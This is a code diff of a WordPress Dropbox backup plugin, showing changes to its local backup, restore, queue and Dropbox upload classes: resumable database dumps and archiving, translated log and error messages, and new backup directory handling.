  ->addParam('host', $wp_mysql_params['host'])
63
  ->addParam('db', $wp_mysql_params['db'])
64
  ->addParam('user', $wp_mysql_params['user'])
65
- ->addParam('password', $wp_mysql_params['password']);
66
- $this->queue->clear()
67
- ->add($commandContext);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
68
  unset($commandContext);
 
69
  }
70
- // Creating of Database Backup
71
- $commandContext = new WPAdm_Command_Context();
72
- $commandContext ->addParam('command','mysqldump')
73
- ->addParam('host', $wp_mysql_params['host'])
74
- ->addParam('db', $wp_mysql_params['db'])
75
- ->addParam('user', $wp_mysql_params['user'])
76
- ->addParam('password', $wp_mysql_params['password'])
77
- ->addParam('tables', '')
78
- ->addParam('to_file', $mysql_dump_file);
79
- $res = $this->queue->add($commandContext)
80
- ->save()
81
- ->execute();
82
- if (!$res) {
83
- WPAdm_Core::log('Error: Dump of Database wasn\'t created('.$this->queue->getError().')');
84
- $errors[] = 'MySQL Error: '.$this->queue->getError();
85
- } elseif (0 == (int)filesize($mysql_dump_file)) {
86
- $errors[] = 'MySQL Error: Database-Dump File is empty';
87
- WPAdm_Core::log('Dump of Database wasn\'t created (File of Database-Dump is empty!)');
88
- } else {
89
- WPAdm_Core::log('Database Dump was successfully created('.filesize($mysql_dump_file).'b):' . $mysql_dump_file);
90
- }
91
- unset($commandContext);
92
  }
93
 
94
-
95
- if (in_array('files', $this->params['types']) ) {
96
- WPAdm_Core::log('Create a list of files for Backup');
97
- $files = $this->createListFilesForArchive();
98
- }
99
- if (isset($mysql_dump_file) && file_exists($mysql_dump_file) && filesize($mysql_dump_file) > 0) {
100
- $files[] = $mysql_dump_file;
101
- }
102
-
103
- if (empty($files)) {
104
- $errors[] = 'Error: the list of Backup files is empty';
105
- }
106
-
107
- // split the file list by 170kbayt lists, To break one big task into smaller
108
- $files2 = array();
109
- $files2[0] = array();
110
- $i = 0;
111
- $size = 0;
112
- foreach($files as $f) {
113
- if ($size > 170000) {//~170kbyte
114
- $i ++;
115
- $size = 0;
116
- $files2[$i] = array();
117
  }
118
- $f_size =(int)filesize($f);
119
- if ($f_size == 0 || $f_size > 1000000) {
120
- WPAdm_Core::log('File '. $f .' Size ' . $f_size);
121
  }
122
- $size += $f_size;
123
- $files2[$i][] = $f;
124
- }
125
-
126
- WPAdm_Core::log('List of Backup-Files was successfully created');
127
 
128
- $this->queue->clear();
129
- // Adding Wordpress Files and MySQL Dump to Archive
130
- foreach($files2 as $files) {
131
- $commandContext = new WPAdm_Command_Context();
132
- $commandContext ->addParam('command', 'archive')
133
- ->addParam('files', $files)
134
- ->addParam('to_file', $this->dir . '/'.$this->name)
135
- ->addParam('max_file_size', 900000)
136
- ->addParam('remove_path', ABSPATH);
137
 
138
- $this->queue->add($commandContext);
139
- unset($commandContext);
140
- }
141
- WPAdm_Core::log('Backup of Files was started');
142
- $this->queue->save()
143
- ->execute();
144
- WPAdm_Core::log('End of File Backup');
145
-
146
- $files = glob($this->dir . '/'.$this->name . '*');
147
- $urls = array();
148
- $totalSize = 0;
149
- foreach($files as $file) {
150
- $urls[] = str_replace(ABSPATH, '', $file);
151
- $totalSize += @intval( filesize($file) );
152
- }
153
- $this->result->setData($urls);
154
- $this->result->setSize($totalSize);
155
- $size = $totalSize / 1024 / 1024; /// MByte
156
- $size = round($size, 2);
157
- WPAdm_Core::log('Backup Size ' . $size . " Mb");
158
-
159
- $remove_from_server = 0;
160
- #Removing TMP-files
161
- WPAdm_Core::rmdir(ABSPATH . 'wpadm_backup');
162
-
163
- #Removind old backups(if limit the number of stored backups)
164
- if ($this->params['limit'] != 0) {
165
- WPAdm_Core::log('Limits of Backups ' . $this->params['limit']);
166
- WPAdm_Core::log('Removing of old Backups was started');
167
- $files = glob(ABSPATH . 'wpadm_backups/*');
168
- if (count($files) > $this->params['limit']) {
169
  $files2 = array();
 
 
 
170
  foreach($files as $f) {
171
- $fa = explode('-', $f);
172
- if (count($fa) != 3) {
173
- continue;
 
 
 
 
 
174
  }
175
- $files2[$fa[2]] = $f;
 
 
 
 
 
176
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
177
  }
178
- ksort($files2);
179
- $d = count($files2) - $this->params['limit'];
180
- $del = array_slice($files2, 0, $d);
181
- foreach($del as $d) {
182
- WPAdm_Core::rmdir($d);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
183
  }
 
184
  }
185
- WPAdm_Core::log('Removing of old Backups was Finished');
186
  }
 
187
  if (!empty($errors)) {
188
  $this->result->setError(implode("\n", $errors));
189
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
 
 
 
190
  } else {
191
- WPAdm_Core::log('Backup creating is completed successfully!');
 
192
  }
 
193
 
194
  return $this->result;
195
 
196
  }
197
-
198
- public function createListFilesForArchive() {
199
  $folders = array();
200
  $files = array();
201
 
@@ -229,7 +295,7 @@ if (!class_exists('WPAdm_Method_Local_Backup')) {
229
  $v = str_replace(ABSPATH , '', $v);
230
  if (in_array($v, $minus_path)) {
231
  unset($files[$k]);
232
- WPAdm_Core::log('Skip of File ' . $v);
233
  }
234
  }
235
  }
@@ -280,7 +346,7 @@ if (!class_exists('WPAdm_Method_Local_Backup')) {
280
  if (isset($this->params['minus-path'])) {
281
  $minus_path = explode(",", $this->params['minus-path']);
282
  if (in_array($d, $minus_path) ) {
283
- WPAdm_Core::log('Skip of Folder ' . $directory);
284
  return array();
285
  }
286
  } else {
@@ -292,8 +358,11 @@ if (!class_exists('WPAdm_Method_Local_Backup')) {
292
  $d1 = mb_strtolower($tmp[0]);
293
  unset($tmp[0]);
294
  $d2 = mb_strtolower(implode('/', $tmp));
295
- if (strpos($d2, 'cache') !== false && isset($tmp[0])&& !in_array($tmp[0], array('plugins', 'themes')) ) {
296
- WPAdm_Core::log('Skip of Cache-Folder ' . $directory);
 
 
 
297
  return array();
298
  }
299
 
@@ -313,7 +382,7 @@ if (!class_exists('WPAdm_Method_Local_Backup')) {
313
  if (!in_array($f, $minus_path)) {
314
  $array_items[] = $ff;
315
  } else {
316
- WPAdm_Core::log('Skip of File ' . $ff);
317
  }
318
  }
319
  } else {
@@ -325,7 +394,7 @@ if (!class_exists('WPAdm_Method_Local_Backup')) {
325
  if (!in_array($f, $minus_path)) {
326
  $array_items[] = $ff;
327
  } else {
328
- WPAdm_Core::log('Skip of Folder ' . $ff);
329
  }
330
  }
331
  }
3
  if (!class_exists('WPAdm_Method_Local_Backup')) {
4
  class WPAdm_Method_Local_Backup extends WPAdm_Method_Class {
5
 
6
+ private $start = true;
7
+
8
  public function __construct($params)
9
  {
10
  parent::__construct($params);
11
  $this->init(
12
  array(
13
+ 'id' => uniqid('wpadm_method__local_backup__'),
14
  'stime' => time(),
15
  )
16
  );
17
+
18
+ WPAdm_Core::log(__('Create Unique Id ','dropbox-backup') . $this->id);
 
 
 
19
 
20
 
21
  $name = get_option('siteurl');
22
 
23
  $name = str_replace("http://", '', $name);
24
  $name = str_replace("https://", '', $name);
25
+ $name = preg_replace("|\W|", "_", $name);
26
+ if (isset($params['time']) && !empty($params['time'])) { // time 1432751372
27
+ $this->time = date("Y-m-d H:i", $params['time']);
28
+ $name .= '-' . wpadm_class::$type . '-' . date("Y_m_d_H_i", $params['time']);
29
+ } else {
30
+ $this->time = date("Y-m-d H:i"); //23.04.2015 13:45
31
+ $name .= '-' . wpadm_class::$type . '-' . date("Y_m_d_H_i");
32
+ }
33
  $this->name = $name;
 
34
 
35
  // folder for backup
36
+ $this->dir = DROPBOX_BACKUP_DIR_BACKUP . '/' . $name;
37
+ if (($f = $this->checkBackup()) !== false) {
38
+ $this->dir = DROPBOX_BACKUP_DIR_BACKUP . '/' . $f;
39
+ }
40
+ $error = WPAdm_Core::mkdir(DROPBOX_BACKUP_DIR_BACKUP);
41
+ if (!empty($error)) {
42
+ $this->result->setError($error);
43
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
44
+ }
45
+ $error = WPAdm_Core::mkdir($this->dir);
46
+ if (!empty($error)) {
47
+ $this->result->setError($error);
48
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
49
+ }
50
+ }
51
+ public function checkBackup()
52
+ {
53
+ if (WPAdm_Running::getCommand('local_backup') !== false) {
54
+ $archives = glob("{$this->dir}");
55
+ if (empty($archives) && count($archives) <= 1) {
56
+ return false;
57
+ }
58
+ $n = count($archives);
59
+ $f = "{$this->name}({$n})";
60
+ return $f;
61
+ }
62
+ return false;
63
  }
64
  public function getResult()
65
  {
68
 
69
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
70
  $this->result->setError('');
71
+ WPAdm_Core::log(__('Start Backup process...','dropbox-backup'));
 
72
 
73
  # create db dump
74
  if (in_array('db', $this->params['types']) ) {
75
+ $mysql_dump_file = DROPBOX_BACKUP_DIR_BACKUP . '/mysqldump.sql';
76
+ if ( !WPAdm_Running::getCommandResult('db') ) {
77
+ WPAdm_Running::setCommandResult('db');
78
+ WPAdm_Core::log(__('Creating Database Dump','dropbox-backup'));
79
+ $error = WPAdm_Core::mkdir(DROPBOX_BACKUP_DIR_BACKUP);
80
+ if (!empty($error)) {
81
+ $this->result->setError($error);
82
+ $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
83
+ return $this->result;
84
+ }
85
+ if (file_exists($mysql_dump_file) && !file_exists(WPAdm_Core::getTmpDir() . "/db")) {
86
+ unlink($mysql_dump_file);
87
+ }
88
+ $wp_mysql_params = $this->getWpMysqlParams();
89
+
90
+ if (isset($this->params['optimize']) && ($this->params['optimize']==1)) {
91
+ $opt_db = WPAdm_Running::getCommandResultData('db', $proc_data);
92
+ if (!isset($opt_db['optimize'])) {
93
+ WPAdm_Core::log(__('Optimize Database Tables','dropbox-backup'));
94
+ $commandContext = new WPAdm_Command_Context();
95
+ $commandContext ->addParam('command','mysqloptimize')
96
+ ->addParam('host', $wp_mysql_params['host'])
97
+ ->addParam('db', $wp_mysql_params['db'])
98
+ ->addParam('user', $wp_mysql_params['user'])
99
+ ->addParam('password', $wp_mysql_params['password']);
100
+ $this->queue->clear()
101
+ ->add($commandContext);
102
+ unset($commandContext);
103
+ }
104
+ }
105
 
 
 
 
106
  $commandContext = new WPAdm_Command_Context();
107
+ $commandContext ->addParam('command','mysqldump')
108
  ->addParam('host', $wp_mysql_params['host'])
109
  ->addParam('db', $wp_mysql_params['db'])
110
  ->addParam('user', $wp_mysql_params['user'])
111
+ ->addParam('password', $wp_mysql_params['password'])
112
+ ->addParam('tables', '')
113
+ ->addParam('to_file', $mysql_dump_file);
114
+ $res = $this->queue->add($commandContext)
115
+ ->save()
116
+ ->execute();
117
+ if (!$res) {
118
+ $log = str_replace(array('%domain', '%s'), array(SITE_HOME, $this->queue->getError() ), __('Website "%domain" returned an error during database dump creation: \'Dump of Database wasn\'t created: "%s"\'. To solve this problem, please check your database system logs or send to us your FTP access data. You can send to us support request using "Help" button on plugin page.','dropbox-backup') );
119
+ WPAdm_Core::log($log);
120
+ $errors[] = $log;
121
+ } elseif (0 == (int)filesize($mysql_dump_file)) {
122
+ $log = str_replace(array('%domain', '%dir'), array(SITE_HOME, DROPBOX_BACKUP_DIR_BACKUP), __('Website "%domain" returned an error during database dump creation: Database-Dump file is emplty. To solve this problem, please check permissions to folder: "%dir".','dropbox-backup') );
123
+ $errors[] = $log;
124
+ WPAdm_Core::log($log);
125
+ } else {
126
+ $size_dump = round( (filesize($mysql_dump_file) / 1024 / 1024) , 2);
127
+ $log = str_replace("%size", $size_dump , __('Database Dump was successfully created ( %size Mb) : ','dropbox-backup') ) ;
128
+ WPAdm_Core::log($log . $mysql_dump_file);
129
+ }
130
  unset($commandContext);
131
+ WPAdm_Running::setCommandResult('db', true);
132
  }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
133
  }
134
 
135
+ if (count($errors) == 0) {
136
+ $command_files_list = WPAdm_Running::getCommandResultData('files');
137
+ if (in_array('files', $this->params['types']) && empty($command_files_list) ) {
138
+ $files = $this->createListFilesForArchive();
139
+ WPAdm_Running::setCommandResultData('files', $files);
140
+ } else {
141
+ $files = $command_files_list;
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
142
  }
143
+ if (isset($mysql_dump_file) && file_exists($mysql_dump_file) && filesize($mysql_dump_file) > 0) {
144
+ $files[] = $mysql_dump_file;
 
145
  }
 
 
 
 
 
146
 
147
+ if (empty($files)) {
148
+ $errors[] = str_replace(array('%d'), array(SITE_HOME), __( 'Website "%d" returned an error during creation of the list of files for a backup: list of files for a backup is empty. To solve this problem, please check files and folders permissions for website "%d".' ,'dropbox-backup') );
149
+ }
 
 
 
 
 
 
150
 
151
+ // split the file list by 170kbayt lists, To break one big task into smaller
152
+ $files2 = WPAdm_Running::getCommandResultData('files2');
153
+ if (empty($files2)) {
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
154
  $files2 = array();
155
+ $files2[0] = array();
156
+ $i = 0;
157
+ $size = 0;
158
  foreach($files as $f) {
159
+ if ($size > 170000) {//~170kbyte
160
+ $i ++;
161
+ $size = 0;
162
+ $files2[$i] = array();
163
+ }
164
+ $f_size =(int)@filesize($f);
165
+ if ($f_size == 0 || $f_size > 1000000) {
166
+ WPAdm_Core::log('File ' . $f . ' Size ' . $f_size);
167
  }
168
+ $size += $f_size;
169
+ $files2[$i][] = $f;
170
+ }
171
+ WPAdm_Running::setCommandResultData('files2', $files2);
172
+ }
173
+
174
 
175
+ WPAdm_Core::log(__('List of Backup-Files was successfully created','dropbox-backup') );
176
+ $this->queue->clear();
177
+ if ( !WPAdm_Running::getCommandResult('archive') ) {
178
+ WPAdm_Running::setCommandResult('archive');
179
+ $files_archive = WPAdm_Running::getCommandResultData('archive');
180
+ foreach($files2 as $files) {
181
+ $files_str = implode(',', $files);
182
+ if (!in_array($files_str, $files_archive)) {
183
+ $commandContext = new WPAdm_Command_Context();
184
+ $commandContext ->addParam('command', 'archive')
185
+ ->addParam('files', $files)
186
+ ->addParam('to_file', $this->dir . '/' . $this->name)
187
+ ->addParam('max_file_size', 900000)
188
+ ->addParam('remove_path', ABSPATH);
189
+
190
+ $this->queue->add($commandContext);
191
+ unset($commandContext);
192
+ }
193
  }
194
+ WPAdm_Core::log( __('Backup of Files was started','dropbox-backup') );
195
+ $this->queue->save()->execute();
196
+ WPAdm_Core::log( __('End of File Backup','dropbox-backup') );
197
+ WPAdm_Running::setCommandResult('archive', true);
198
+ }
199
+ $files = glob($this->dir . '/'.$this->name . '*');
200
+ $urls = array();
201
+ $totalSize = 0;
202
+ foreach($files as $file) {
203
+ $urls[] = str_replace(ABSPATH, '', $file);
204
+ $totalSize += @intval( filesize($file) );
205
+ }
206
+ $this->result->setData($urls);
207
+ $this->result->setSize($totalSize);
208
+ $this->result->setValue('md5_data', md5 ( print_r($this->result->toArray(), 1 ) ) );
209
+ $this->result->setValue('name', $this->name );
210
+ $this->result->setValue('time', $this->time);
211
+ $this->result->setValue('type', 'local');
212
+ $this->result->setValue('counts', count($urls) );
213
+ $size = $totalSize / 1024 / 1024; /// MByte
214
+ $size = round($size, 2);
215
+ $log = str_replace("%s", $size , __('Backup Size %s Mb','dropbox-backup') ) ;
216
+ WPAdm_Core::log($log);
217
+
218
+ $remove_from_server = 0;
219
+ #Removing TMP-files
220
+ WPAdm_Core::rmdir($mysql_dump_file);
221
+
222
+ #Removind old backups(if limit the number of stored backups)
223
+ if ($this->params['limit'] != 0) {
224
+ WPAdm_Core::log( __('Limits of Backups ','dropbox-backup') . $this->params['limit'] );
225
+ WPAdm_Core::log( __('Removing of old Backups was started','dropbox-backup') );
226
+ $files = glob(DROPBOX_BACKUP_DIR_BACKUP . '/*');
227
+ if (count($files) > $this->params['limit']) {
228
+ $files2 = array();
229
+ foreach($files as $f) {
230
+ $fa = explode('-', $f);
231
+ if (count($fa) != 3) {
232
+ continue;
233
+ }
234
+ $files2[$fa[2]] = $f;
235
+
236
+ }
237
+ ksort($files2);
238
+ $d = count($files2) - $this->params['limit'];
239
+ $del = array_slice($files2, 0, $d);
240
+ foreach($del as $d) {
241
+ WPAdm_Core::rmdir($d);
242
+ }
243
  }
244
+ WPAdm_Core::log( __('Removing of old Backups was Finished','dropbox-backup') );
245
  }
 
246
  }
247
+ wpadm_class::setBackup(1);
248
  if (!empty($errors)) {
249
  $this->result->setError(implode("\n", $errors));
250
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
251
+ WPAdm_Core::rmdir($this->dir);
252
+ wpadm_class::setStatus(0);
253
+ wpadm_class::setErrors( implode(", ", $errors) );
254
  } else {
255
+ wpadm_class::setStatus(1);
256
+ WPAdm_Core::log( __('Backup creation was complete successfully!','dropbox-backup') );
257
  }
258
+ wpadm_class::backupSend();
259
 
260
  return $this->result;
261
 
262
  }
263
+ public function createListFilesForArchive()
264
+ {
265
  $folders = array();
266
  $files = array();
267
 
295
  $v = str_replace(ABSPATH , '', $v);
296
  if (in_array($v, $minus_path)) {
297
  unset($files[$k]);
298
+ WPAdm_Core::log( __('Skip of File ','dropbox-backup') . $v);
299
  }
300
  }
301
  }
346
  if (isset($this->params['minus-path'])) {
347
  $minus_path = explode(",", $this->params['minus-path']);
348
  if (in_array($d, $minus_path) ) {
349
+ WPAdm_Core::log(__('Skip of Folder ','dropbox-backup') . $directory);
350
  return array();
351
  }
352
  } else {
358
  $d1 = mb_strtolower($tmp[0]);
359
  unset($tmp[0]);
360
  $d2 = mb_strtolower(implode('/', $tmp));
361
+ if (strpos($d2, 'cache') !== false && isset($tmp[0]) && !in_array($tmp[0], array('plugins', 'themes')) ) {
362
+ WPAdm_Core::log(__('Skip of Cache-Folder ','dropbox-backup') . $directory);
363
+ return array();
364
+ }
365
+ if(strpos($directory, 'wpadm_backups') !== false || strpos($directory, 'Dropbox_Backup') !== false) {
366
  return array();
367
  }
368
 
382
  if (!in_array($f, $minus_path)) {
383
  $array_items[] = $ff;
384
  } else {
385
+ WPAdm_Core::log(__('Skip of File ','dropbox-backup') . $ff);
386
  }
387
  }
388
  } else {
394
  if (!in_array($f, $minus_path)) {
395
  $array_items[] = $ff;
396
  } else {
397
+ WPAdm_Core::log( __('Skip of Folder ','dropbox-backup') . $ff);
398
  }
399
  }
400
  }
methods/class-wpadm-method-local-restore.php CHANGED
@@ -25,7 +25,7 @@ if (!class_exists('WPAdm_Method_Local_Restore')) {
25
  if (file_exists($file_log)) {
26
  unlink($file_log);
27
  }
28
- WPAdm_Core::log('Create Unique Id '. $this->id);
29
  if (count($this->files_resotre) > 0) {
30
  $this->restore = true;
31
  }
@@ -33,27 +33,42 @@ if (!class_exists('WPAdm_Method_Local_Restore')) {
33
  }
34
  private function getFiles()
35
  {
 
36
  if (isset($this->params['name_backup']) && !empty($this->params['name_backup'])) {
37
- $dir_backup = ABSPATH . 'wpadm_backups/' . $this->params['name_backup'];
38
- if (is_dir($dir_backup)) {
39
- WPAdm_Core::log('Read of Backup Files for Restore (' . $this->params['name_backup'] . ')');
40
- $dir_open = opendir($dir_backup);
41
- while($d = readdir($dir_open)) {
42
- if ($d != "." && $d != '..') {
43
- if(strpos($d, ".md5") !== false) {
44
- $this->md5_info = explode ("\n", file_get_contents( $dir_backup . "/$d" ) );
45
- } elseif(strpos($d, ".zip") !== false) {
46
- $this->files_resotre[$d] = $dir_backup . "/$d";
47
- }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
48
  }
49
  }
50
- return true;
51
  }
52
- }
53
- WPAdm_Core::log('Error: folder is not exist (' . $this->params['name_backup'] . ')');
54
- $this->setError('Error: folder is not exist (' . $this->params['name_backup'] . ')');
55
  return false;
56
-
57
  }
58
  private function setError($errors)
59
  {
@@ -72,11 +87,9 @@ if (!class_exists('WPAdm_Method_Local_Restore')) {
72
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
73
  $this->result->setError('');
74
 
75
- WPAdm_Core::log('Start Restore process');
76
  $n = count($this->md5_info);
77
- if (in_array('db', $this->params['types'])) {
78
-
79
- }
80
  if (in_array('files', $this->params['types']) ) {
81
  foreach($this->files_resotre as $key => $file) {
82
  if (file_exists($file)) {
@@ -108,16 +121,22 @@ if (!class_exists('WPAdm_Method_Local_Restore')) {
108
  ->add($commandContext)->save()
109
  ->execute();
110
  unset($commandContext);
 
 
 
111
  } else {
112
- $this->setError('File(' . $data[2] . ') not Exist');
113
- WPAdm_Core::log('File(' . $data[2] . ') not Exist');
 
114
  break;
115
  }
116
  }
117
  }
118
  }
119
  } else {
120
- WPAdm_Core::log('Files to restore is empty');
 
 
121
  }
122
  return $this->result;
123
  }
25
  if (file_exists($file_log)) {
26
  unlink($file_log);
27
  }
28
+ WPAdm_Core::log(__('Create Unique Id ','dropbox-backup') . $this->id);
29
  if (count($this->files_resotre) > 0) {
30
  $this->restore = true;
31
  }
33
  }
34
  private function getFiles()
35
  {
36
+ $res = false;
37
  if (isset($this->params['name_backup']) && !empty($this->params['name_backup'])) {
38
+ $res = self::readFiles( DROPBOX_BACKUP_DIR_BACKUP . '/' . $this->params['name_backup'] );
39
+ if ($res === false) {
40
+ $res = self::readFiles(WPADM_DIR_BACKUP . '/' . $this->params['name_backup']);
41
+ }
42
+ if ($res === false) {
43
+ $res = self::readFiles(ABSPATH . WPADM_DIR_NAME . '/' . $this->params['name_backup']);
44
+ }
45
+ }
46
+ if ($res === false) {
47
+ $str = str_replace(array('%d', '%s'), array(SITE_HOME, $this->params['name_backup']), __('Website "%d" returned an error during backup restoration: Archive of Backup wasn\'t found "%s"','dropbox-backup') );
48
+ WPAdm_Core::log($str);
49
+ $this->setError($str);
50
+ }
51
+ return $res;
52
+
53
+ }
54
+
55
+ private function readFiles($dir_backup)
56
+ {
57
+ if (is_dir($dir_backup)) {
58
+ WPAdm_Core::log('Read of Backup Files for Restore (' . $this->params['name_backup'] . ')');
59
+ $dir_open = opendir($dir_backup);
60
+ while($d = readdir($dir_open)) {
61
+ if ($d != "." && $d != '..') {
62
+ if(strpos($d, ".md5") !== false) {
63
+ $this->md5_info = explode ("\n", file_get_contents( $dir_backup . "/$d" ) );
64
+ } elseif(strpos($d, ".zip") !== false) {
65
+ $this->files_resotre[$d] = $dir_backup . "/$d";
66
  }
67
  }
 
68
  }
69
+ return true;
70
+ }
 
71
  return false;
 
72
  }
73
  private function setError($errors)
74
  {
87
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
88
  $this->result->setError('');
89
 
90
+ WPAdm_Core::log(__('Start Restore process','dropbox-backup'));
91
  $n = count($this->md5_info);
92
+
 
 
93
  if (in_array('files', $this->params['types']) ) {
94
  foreach($this->files_resotre as $key => $file) {
95
  if (file_exists($file)) {
121
  ->add($commandContext)->save()
122
  ->execute();
123
  unset($commandContext);
124
+ if (file_exists(DROPBOX_BACKUP_DIR_BACKUP . "/mysqldump.sql")) {
125
+ @unlink(DROPBOX_BACKUP_DIR_BACKUP . "/mysqldump.sql");
126
+ }
127
  } else {
128
+ $log = str_replace( array('%d', '%s'), array(SITE_HOME, $data[2]) , __('Website "%d" returned an error during backup restoration: Part Backup is not exist "%s" ','dropbox-backup'));
129
+ $this->setError($log);
130
+ WPAdm_Core::log($log);
131
  break;
132
  }
133
  }
134
  }
135
  }
136
  } else {
137
+ WPAdm_Core::log(
138
+ str_replace( array('%d'), array(SITE_HOME), __('Website "%d" returned an error during restore backup: Files for restore is not exist, check permission your backup data or You can send to us support request using "Help" button on plugin page.','dropbox-backup') )
139
+ );
140
  }
141
  return $this->result;
142
  }
methods/class-wpadm-method-queue-controller.php CHANGED
@@ -46,7 +46,6 @@ if (!class_exists('WPAdm_Method_Queue_Controller')) {
46
  private $id = '';
47
 
48
  public function __construct($params) {
49
- //WPAdm_Core::log("Запуск очереди. Параметры: " . print_r($params, true));
50
  $this->stime = time();
51
  parent::__construct($params);
52
  $this->queue_file = WPAdm_Core::getTmpDir() . '/' . $this->params['id'] . '.queue';
@@ -54,9 +53,7 @@ if (!class_exists('WPAdm_Method_Queue_Controller')) {
54
  $this->log("queue-file not exists: {$this->queue_file}");
55
  exit;
56
  }
57
- //WPAdm_Core::log('Открываем файл очереди ' . $this->queue_file);
58
  $queue = unserialize(file_get_contents($this->queue_file));
59
- //WPAdm_Core::log(print_r($queue, true));
60
  $this->id = $queue['id'];
61
  $this->step = (isset($queue['step']) && (int)$queue['step'] > 1) ? (int)$queue['step']+1 : 1;
62
  $this->contexts = $queue['contexts'];
@@ -65,27 +62,24 @@ if (!class_exists('WPAdm_Method_Queue_Controller')) {
65
 
66
  public function getResult()
67
  {
68
- // пока время не закончилось и есть задачи - выполняем
69
  while(!$this->timeIsOver() && $context = $this->getNextContext()) {
70
  $com = $context->get('command');
71
  $cmd = WPAdm_Command_Factory::getCommand($com);
72
  if ($cmd === null) {
73
- $this->result->setError('Command error:' . $com . ': '. 'Command not found: ' . $com);
74
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
75
  array_unshift($this->contexts, $context);
76
  $this->done();
77
  return $this->result;
78
  } elseif (!$cmd->execute($context)) {
79
- $this->result->setError('Command error:' . $com . ': '. $context->getError());
80
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
81
  array_unshift($this->contexts, $context);
82
  $this->done();
83
  return $this->result;
84
  } else {
85
- //
86
- //WPAdm_Core::log("Команда выполнена: {$com}");
87
  }
88
- //продолжаем работу
89
  }
90
 
91
  if ($this->step >= self::MAX_COUNT_STEPS) {
@@ -124,7 +118,6 @@ if (!class_exists('WPAdm_Method_Queue_Controller')) {
124
  }
125
 
126
  private function restart() {
127
- $this->log('restart(' . $this->step .'): ' . $this->id);
128
  $this->step ++;
129
  $url = get_option('siteurl');
130
  $pu = parse_url($url);
@@ -139,13 +132,9 @@ if (!class_exists('WPAdm_Method_Queue_Controller')) {
139
  'sign' => '',
140
 
141
  );
142
- /**
143
- *
144
- * request to itself to predict multitasking
145
- *
146
- */
147
  $socket = fsockopen($host, 80, $errno, $errstr, 30);
148
-
149
  $dp = explode(DIRECTORY_SEPARATOR,dirname(dirname(__FILE__)));
150
  $pl = array_pop($dp) . '_';
151
  // $data = 'wpadm_'.$pl.'request='.base64_encode(serialize($data));
46
  private $id = '';
47
 
48
  public function __construct($params) {
 
49
  $this->stime = time();
50
  parent::__construct($params);
51
  $this->queue_file = WPAdm_Core::getTmpDir() . '/' . $this->params['id'] . '.queue';
53
  $this->log("queue-file not exists: {$this->queue_file}");
54
  exit;
55
  }
 
56
  $queue = unserialize(file_get_contents($this->queue_file));
 
57
  $this->id = $queue['id'];
58
  $this->step = (isset($queue['step']) && (int)$queue['step'] > 1) ? (int)$queue['step']+1 : 1;
59
  $this->contexts = $queue['contexts'];
62
 
63
  public function getResult()
64
  {
 
65
  while(!$this->timeIsOver() && $context = $this->getNextContext()) {
66
  $com = $context->get('command');
67
  $cmd = WPAdm_Command_Factory::getCommand($com);
68
  if ($cmd === null) {
69
+ $this->result->setError( str_replace(array('%d', '%com'), array(SITE_HOME, $com ), __('Website "%d" returned an error: Command "%com" not found. To solve this problem, we need to access the system logs of your hosting/server and/or from your backup, that you tried to create or simply send to us your FTP access data. You can send to us support request using "Help" button on plugin page.','dropbox-backup') ) );
70
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
71
  array_unshift($this->contexts, $context);
72
  $this->done();
73
  return $this->result;
74
  } elseif (!$cmd->execute($context)) {
75
+ $this->result->setError( str_replace(array('%d', '%com'), array(SITE_HOME, $com ), __('Website "%d" returned some unknown error during command "%com" was running. To solve this problem, we need to access the system logs of your hosting/server and/or from your backup, that you tried to create or simply send to us your FTP access data. You can send to us support request using "Help" button on plugin page.','dropbox-backup') ) );
76
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_ERROR);
77
  array_unshift($this->contexts, $context);
78
  $this->done();
79
  return $this->result;
80
  } else {
81
+
 
82
  }
 
83
  }
84
 
85
  if ($this->step >= self::MAX_COUNT_STEPS) {
118
  }
119
 
120
  private function restart() {
 
121
  $this->step ++;
122
  $url = get_option('siteurl');
123
  $pu = parse_url($url);
132
  'sign' => '',
133
 
134
  );
135
+
 
 
 
 
136
  $socket = fsockopen($host, 80, $errno, $errstr, 30);
137
+ // $pl = (defined('WPADM_PLUGIN')) ? WPADM_PLUGIN . '_' : '';
138
  $dp = explode(DIRECTORY_SEPARATOR,dirname(dirname(__FILE__)));
139
  $pl = array_pop($dp) . '_';
140
  // $data = 'wpadm_'.$pl.'request='.base64_encode(serialize($data));
methods/class-wpadm-method-send-to-dropbox.php CHANGED
@@ -1,13 +1,13 @@
1
  <?php
2
  /**
3
- * Бэкап сайта
4
- * Class WPadm_Method_Send_To_Dropbox
5
- */
6
  if (!class_exists('WPadm_Method_Send_To_Dropbox')) {
7
  class WPadm_Method_Send_To_Dropbox extends WPAdm_Method_Class {
8
  /**
9
- * @var WPAdm_Queue
10
- */
11
  private $queue;
12
 
13
  private $id;
@@ -21,44 +21,88 @@ if (!class_exists('WPadm_Method_Send_To_Dropbox')) {
21
 
22
  $this->result->setResult(WPAdm_Result::WPADM_RESULT_SUCCESS);
23
  $this->result->setError('');
 
 
 
 
 
 
 
24
 
25
  $this->queue = new WPAdm_Queue($this->id);
26
 
27
  $ad = $this->params['access_details'];
28
- WPAdm_Core::log('Copying of Files to Dropbox');
29
  $this->queue->clear();
30
  $files = $this->params['files'];
31
  //$this->getResult()->setData($files);
32
 
33
  $dir = (isset($ad['dir'])) ? $ad['dir'] : '/';
34
- // Task creating to copy files to Dropbox
35
